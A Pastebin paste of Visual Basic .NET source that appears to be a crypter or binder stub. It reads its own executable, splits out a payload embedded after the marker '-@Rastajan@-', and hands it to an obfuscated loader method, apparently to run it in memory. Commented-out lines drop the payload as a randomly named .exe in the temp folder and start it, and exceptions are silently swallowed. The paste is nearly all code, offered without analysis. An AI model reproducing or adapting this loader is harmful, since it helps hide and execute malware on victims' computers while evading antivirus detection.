SHARE
TWEET

Untitled

a guest May 19th, 2017 39 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Module Modul1
  2.  
  3.     Sub Main()
  4.         Try
  5.  
  6.             Dim DateiSplitt() As String
  7.             Dim SplittString As String = "-@Rastajan@-"
  8.             Dim Stubbuff As String
  9.             Dim TPath As String = System.IO.Path.GetTempPath
  10.             FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  11.             Stubbuff = Space(LOF(1))
  12.             FileGet(1, Stubbuff)
  13.             FileClose(1)
  14.  
  15.             DateiSplitt = Split(Stubbuff, SplittString)
  16.             Dim Bounden1 As String = DateiSplitt(1)
  17.  
  18.             Dim rndmfile As String = randomstring()
  19.             'FileOpen(2, TPath & "\" & rndmfile & ".exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  20.             'FilePut(2, (Bounden1))
  21.             'FileClose(2)
  22.             'System.Diagnostics.Process.Start(TPath & "\" & rndmfile & ".exe")
  23.             Dim file As String = (IO.Path.GetFileName(Application.ExecutablePath))
  24.             Dim blub As Byte() = TextStringToByteArray(Bounden1)
  25.             fIqZtPtsQaRmDdYXD.HbjtFYuWgAnkjlwnn(blub, Application.ExecutablePath & file)
  26.  
  27.         Catch ex As Exception
  28.         End Try
  29.         End
  30.     End Sub
  31.     Public Function TextStringToByteArray(ByRef str As String) As Byte()
  32.         Dim enc As System.Text.Encoding = System.Text.Encoding.Default
  33.  
  34.         Return enc.GetBytes(str)
  35.     End Function
  36.  
  37.  
  38.     Public Function randomstring() As Object
  39.  
  40.         Dim intRnd As Object
  41.         Dim intStep As Object
  42.         Dim strName As Object
  43.         Dim intNameLength As Object
  44.         Dim intLength As Object
  45.  
  46.         Dim strInputString As Object
  47.  
  48.         strInputString = "1234567890abcdefghijklmnopqrstuvwxyz"
  49.  
  50.  
  51.         intLength = Len(strInputString)
  52.  
  53.         intNameLength = 50
  54.         Randomize()
  55.  
  56.         strName = ""
  57.  
  58.         For intStep = 1 To intNameLength
  59.  
  60.             intRnd = Int((intLength * Rnd()) + 1)
  61.  
  62.             strName = strName & Mid(strInputString, intRnd, 1)
  63.         Next
  64.  
  65.         randomstring = strName
  66.     End Function
  67.  
  68. End Module
RAW Paste Data
Challenge yourself this year...
Learn something new in 2017
Top